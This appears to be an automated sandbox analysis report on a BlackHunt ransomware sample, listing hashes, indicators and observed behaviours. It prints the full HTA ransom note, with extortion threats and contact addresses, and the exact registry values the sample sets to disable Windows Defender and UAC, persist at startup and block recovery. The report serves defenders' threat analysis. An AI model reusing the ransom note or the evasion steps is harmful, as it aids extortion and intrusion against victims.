d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662

Analysis

max time kernel
121s
max time network
127s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
19/01/2024, 01:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
Size

707KB
MD5

1f0e32b6933e924cb6d12f49ea7ea818
SHA1

3fbc02cfd380abb4dfab68a1667e1bdbf7459467
SHA256

d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662
SHA512

fd04101705ed0e3ab9fe23e7ff2bcc805bf37a8bb0965dd7723925c5cc0e4917cf996f35bb16581da3814889277290a317b56f61658bca61e7312e132d9b57a3
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1G86vnh:6uaTmkZJ+naie5OTamgEoKxLWVUh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> dk9vfzn4UuKFVXJF </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
1844	fsutil.exe
832	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
1856	wevtutil.exe
2556	wevtutil.exe
2804	wevtutil.exe
2664	wevtutil.exe
2672	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2716	bcdedit.exe
2356	bcdedit.exe
2220	bcdedit.exe
2140	bcdedit.exe

Renames multiple (796) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1052	wbadmin.exe
2660	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
1728	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\N:	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\G:	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened (read-only)	\??\X:	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened (read-only)	\??\T:	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened (read-only)	\??\H:	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened (read-only)	\??\Z:	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened (read-only)	\??\Q:	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened (read-only)	\??\U:	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened (read-only)	\??\J:	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened (read-only)	\??\W:	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened (read-only)	\??\A:	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened (read-only)	\??\O:	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened (read-only)	\??\S:	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened (read-only)	\??\M:	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened (read-only)	\??\E:	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened (read-only)	\??\Y:	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened (read-only)	\??\I:	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened (read-only)	\??\K:	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\V:	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened (read-only)	\??\B:	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\R:	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened (read-only)	\??\P:	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened (read-only)	\??\L:	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\flavormap.properties	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\jfr\default.jfc	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Kentucky\Louisville	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\asl-v20.txt	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\bin\sysinfo	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Notes_loop_PAL.wmv	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\WhiteDot.png	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\DVD Maker\bod_r.TTF	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\#BlackHunt_ReadMe.hta	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\background.png	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Stockholm	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.console_5.5.0.165303\feature.xml	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\4to3Squareframe_Buttongraphic.png	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\org.eclipse.update\#BlackHunt_ReadMe.txt	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Kosrae	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File created	C:\Program Files\DVD Maker\de-DE\#BlackHunt_ReadMe.txt	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\nav_leftarrow.png	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\cmm\GRAY.pf	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Funafuti	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\passport.png	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\passport_mask_left.png	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Moscow	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\epl-v10.html	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\#BlackHunt_ReadMe.txt	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
